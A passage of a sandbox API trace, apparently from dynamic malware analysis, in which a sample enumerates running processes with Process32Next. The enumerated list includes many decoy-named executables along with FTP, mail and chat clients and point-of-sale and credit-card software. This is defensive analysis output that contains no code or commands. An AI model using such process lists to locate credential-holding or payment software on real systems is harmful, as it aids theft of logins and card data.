th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.218] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.219] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.220] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.222] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.224] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.225] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.226] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.228] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.229] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.231] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.232] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.235] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.238] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.239] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.241] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0243.303] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0243.304] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.306] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.307] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0243.309] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0243.311] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0243.312] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0243.313] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0243.315] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0243.317] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0243.319] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0243.320] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0243.321] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0243.323] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0243.324] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0243.326] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0243.327] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0243.329] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0243.330] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0243.332] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0243.333] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0243.334] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0243.336] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0243.337] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0243.339] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0243.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0243.342] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0243.385] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0243.386] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0243.388] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0243.390] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0243.391] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0243.393] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0243.395] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0243.397] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0243.398] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0243.400] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0243.402] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0243.403] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0243.405] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0243.407] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0243.408] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0243.410] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0243.412] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0243.414] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0243.415] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0243.417] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0243.419] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0243.420] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0243.422] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0243.423] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0243.473] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0243.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0243.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0243.478] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0243.480] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0243.482] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0243.483] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0243.485] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0243.487] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0243.491] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0243.493] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 